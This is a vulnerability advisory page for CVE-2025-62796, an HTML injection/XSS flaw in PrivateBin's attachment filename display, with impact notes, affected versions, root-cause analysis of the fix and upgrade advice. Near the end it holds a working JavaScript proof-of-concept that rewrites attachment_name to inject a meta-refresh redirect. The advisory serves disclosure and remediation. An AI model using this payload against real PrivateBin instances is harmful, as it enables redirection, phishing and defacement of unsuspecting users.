5.8

CVSS Score

3.1

-

CVSS Score

Basic Information

Concerned about an active attack path?

Talk to our security experts and see Miggo in action.

Miggo Vulnerability Database

→

CVE-2025-62796

CVE-2025-62796: PrivateBin is missing HTML sanitization of attached filename in file size hint

We’ve identified an HTML injection/XSS vulnerability in PrivateBin service that allows the injection of arbitrary HTML markup via the attached filename. Below are the technical details, PoC, reproduction steps, impact, and mitigation recommendations.

Recommend action: As the vulnerability has been fixed in the latest version, users are strongly encouraged to upgrade PrivateBin to the latest version and check that a strong CSP header, just as the default suggested one, is delivered.

Summary of the vulnerability: The attachment_name field containing the attached file name is included in the object that the client encrypts and is eventually rendered in the DOM without proper escaping.

Impact

The vulnerability allows attackers to inject arbitrary HTML into the filename displayed near the file size hint, when attachments are enabled. This is by definition a XSS vulnerability (CWE-80), in this case even a persistent XSS. As any HTML can be injected, basically, this can e.g. be used to inject a script tag (as per CWE-79).

That said, also due to previous issues, we have strong mitigations for this in place. The content security policy (CSP) does, if configured as recommend by the PrivateBin project, prevent any inline script execution, so the confidentiality of the paste is not affected.

However, as the reporter demonstrated, even when script execution is blocked, an HTML injection can still be used for attacks such as:

redirection using a meta redirect tag to redirect to a potentially malicious/attacker-controlled website
defacement of the website
phishing, in combination with the redirection to a clone of a PrivateBin phishing page or similar
potential attacks on other services hosted on the same domain

This list is by no means meant to be exhaustive, other attacks should be considered possible, that is why we treat this issue as a serious issue, even if the CSP is supposed to block the most attacks.

Miggo Vulnerability Database

→

CVE-2025-62796

CVE-2025-62796:

5.8

CVSS Score

3.1

-

CVSS Score

Basic Information

Is this CVE running in your environment?

Easily map the attack path and prioritize which CVEs are a threat to your organization

Validate Exposure

Technical Details

Package Name	Ecosystem	Vulnerable Versions	First Patched Version
privatebin/privatebin	composer	>= 1.7.7, < 2.0.2	2.0.2

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

The vulnerability is a persistent Cross-Site Scripting (XSS) issue in PrivateBin, identified as GHSA-867c-p784-5q6g. It arises from the improper sanitization of the attachment_name field when a paste with an attachment is rendered. An attacker can set a malicious filename containing HTML and/or JavaScript, which gets encrypted and stored on the server. When a user views the paste, the client-side JavaScript decrypts the content and renders the malicious filename directly into the DOM without escaping, leading to XSS.

The fixing commit c4f8482b3072be7ae012cace1b3f5658dcc3b42e addresses this by changing how the filename is rendered. The analysis of the patch for js/privatebin.js reveals the exact point of vulnerability. The line template.append((${fileName}, ${fileSize})); uses jQuery's .append() method, which interprets the string as HTML. This was replaced with const fileInfo = document.createTextNode( (${fileName}, ${fileSize})); template[0].appendChild(fileInfo);, which treats the filename as plain text, thus mitigating the vulnerability.

The vulnerable code resides within an anonymous function inside the main jQuery.PrivateBin IIFE. This function is responsible for displaying the details of a decrypted paste, including the attachment information. While other parts of the script were also hardened in the same commit by replacing jQuery's DOM manipulation methods with safer, plain JavaScript alternatives, the core of this specific vulnerability lies in the handling of the attachment filename.

Vulnerable functions

Only Mi**o us*rs **n s** t*is s**tion

Vulnerability Intelligence
Miggo AI

Unlock WAF rules for this CVE

Generate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance

Get WAF rules

WAF Protection Rules

WAF Rule

W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.

Reasoning

*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.

// Monkeypatch to modify attachment_name immediately before encryption (() => { const desiredName = '"><meta http-equiv="refresh" content="0;url=https://example.com/">.txt'; // <- adjust here // get the namespace used by PrivateBin if (!window.$ || !$.PrivateBin || !$.PrivateBin.ServerInteraction) { return console.error('PrivateBin namespace not found (make sure you are on the PrivateBin page).'); } const SI = $.PrivateBin.ServerInteraction; // save original function const origSetCipherMessage = SI.setCipherMessage?.bind(SI); if (typeof origSetCipherMessage !== 'function') { return console.error('setCipherMessage not found or is not a function.'); } SI.setCipherMessage = async function(cipherMessage) { try { // cipherMessage here is the plain object the client intends to encrypt if (cipherMessage && Array.isArray(cipherMessage.attachment_name)) { console.log('[patch] original attachment_name:', cipherMessage.attachment_name); cipherMessage.attachment_name = cipherMessage.attachment_name.map(() => desiredName); console.log('[patch] attachment_name overwritten to:', cipherMessage.attachment_name); } else if (cipherMessage && cipherMessage.attachment && Array.isArray(cipherMessage.attachment)) { // if there are attachments but no attachment_name (rare), add a coherent array cipherMessage.attachment_name = cipherMessage.attachment.map(() => desiredName); console.log('[patch] attachment_name added:', cipherMessage.attachment_name); } else { // nothing to change } // call the original implementation (which performs the encryption) return await origSetCipherMessage(cipherMessage); } catch (err) { console.error('Error in setCipherMessage monkeypatch:', err); // in case of error, attempt to call the original anyway return await origSetCipherMessage(cipherMessage); } }; console.log('Monkeypatch applied to ServerInteraction.setCipherMessage() - ready to send. (Reload the page to undo).'); })();

5.8

-

Basic Information

Basic Information

Concerned about an active attack path?

CVE-2025-62796: PrivateBin is missing HTML sanitization of attached filename in file size hint

Impact

CVE-2025-62796:

5.8

-

Basic Information

Basic Information

Is this CVE running in your environment?

Technical Details

Technical Details

Vulnerability IntelligenceMiggo AI

Root Cause Analysis

Vulnerable functions

Vulnerability IntelligenceMiggo AI

Unlock WAF rules for this CVE

WAF Protection Rules

WAF Rule

Reasoning

Vulnerability IntelligenceMiggo AI

Root Cause Analysis

Vulnerable functions

Basic Information

Basic Information

5.8

5.8

Technical Details

CVE-2025-62796: PrivateBin is missing HTML sanitization of attached filename in file size hint

Impact

Technical Description

Proof of concept

Reproduction Steps

Mitigation

Patches

References

More information

Credits

Vulnerability Intelligence
Miggo AI

Vulnerability Intelligence
Miggo AI

Vulnerability Intelligence
Miggo AI